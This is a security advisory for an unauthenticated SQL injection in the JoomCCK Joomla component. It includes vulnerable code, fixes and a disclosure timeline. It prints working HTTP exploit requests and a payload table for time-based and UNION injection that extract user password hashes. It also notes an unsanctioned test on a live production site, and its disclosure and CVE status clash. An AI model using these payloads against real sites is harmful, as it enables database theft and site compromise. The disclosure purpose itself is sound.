
CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)
CVE: CVE-2026-49048
Status: Public disclosure. Reported to Joomla Security Strike Team (JSST) — Ticket #282420.
| Field | Value |
|---|---|
| Advisory ID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Product | JoomCCK (com_joomcck) — Content Construction Kit for Joomla |
| Vendor | JoomCoder — https://www.joomcoder.com |
| Affected | 6.4.0 (latest at time of discovery; earlier 6.x presumed affected) |
| Fixed version | None at time of writing |
| Type | SQL Injection (CWE-89) via Missing Authorization (CWE-862) |
| Auth required | None — unauthenticated, pre-auth |
| Severity | Critical — CVSS 3.1 Base Score 9.8 |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Discovered by | Kamil Soltanov |
| Contact | [email protected] |
| Discovery date | 2026-06-22 |
The Joomla 4/5/6 component JoomCCK exposes a front-end controller task (task=tags.save) that concatenates the user-supplied tag parameter directly into SQL without escaping or parameterisation. The component's custom MVC dispatcher performs no CSRF token check and no access-control check, making the injection reachable by a completely unauthenticated remote attacker.
Successful exploitation allows full read access to the Joomla database — including #__users password hashes — via UNION-based and time-based blind SQL injection, leading to complete site compromise.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
The authorise() method in the same class is a no-op that unconditionally returns true.
The entry point components/com_joomcck/joomcck.php calls execute(input->get('task')) without any login, token, or ACL gate → every public controller method is an unauthenticated task.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomla's STRING input filter strips HTML tags but passes " unchanged — the same character used as the SQL string delimiter here. Breaking out of the quoted literal injects arbitrary SQL.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Expected: response delayed ≥ 5 seconds (per matched row).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
Full PoC code and captured evidence transcript are in poc/.
Key lab results:
The lab harness uses the genuine
Joomla\Input\Input::getString()and the verbatim_saveTag()query against a live MariaDB 11.8 instance.
An unauthenticated remote attacker can:
#__js_res_tags via the injectable UPDATEtask=tags.delete and task=records.copy (also unauth — same dispatcher flaw)The same dispatcher flaw exposes additional unauthenticated tasks:
Note: many records.* tasks do enforce ACL internally via _checkAccess() and are not affected.
1. Parameterise all queries (Joomla query builder):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Enforce authorization in the dispatcher — add Session::checkToken() and an ACL check (Factory::getApplication()->getIdentity()->authorise(...)) before all state-changing tasks, mirroring the protections already present on files.upload.
Independent security researcher.
Contact: [email protected]
Payload (tag=) | Result |
|---|
cars (benign) | 1 row returned — normal |
zzz" OR "1"="1 | " not escaped → all rows returned (injection confirmed) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Admin password hash exfiltrated |
zzz" OR SLEEP(3)-- - | Response delayed 9.0 s (3 rows × 3 s) |
| Task | Effect |
|---|
tags.delete | Delete any tag without authentication |
records.copy | Duplicate any record without authentication |
ajax.category_records | Enumerate records by category |
ajax.tags_list | List all tags |
ajax.users_filter | Enumerate usernames |
ajax.loadfieldparams | Disclose field configuration |
| Date | Event |
|---|
| 2026-06-22 | Vulnerability discovered and verified via local lab PoC |
| 2026-06-22 | Advisory prepared; reported to Joomla Security Strike Team (JSST) and VEL |
| 2026-06-23 | JSST acknowledged — David Jardin, Ticket #282420. Vendor (JoomCoder) coordination via JSST |
| 2026-06-25 | In-the-wild confirmation on a production Joomla site: SLEEP(5) → 115 s response; MySQL error 1222 on UNION (non-destructive, no data exfiltrated) |
| TBD | Vendor patch |
| TBD | CVE assignment |
| TBD | Public disclosure (90-day coordinated window) |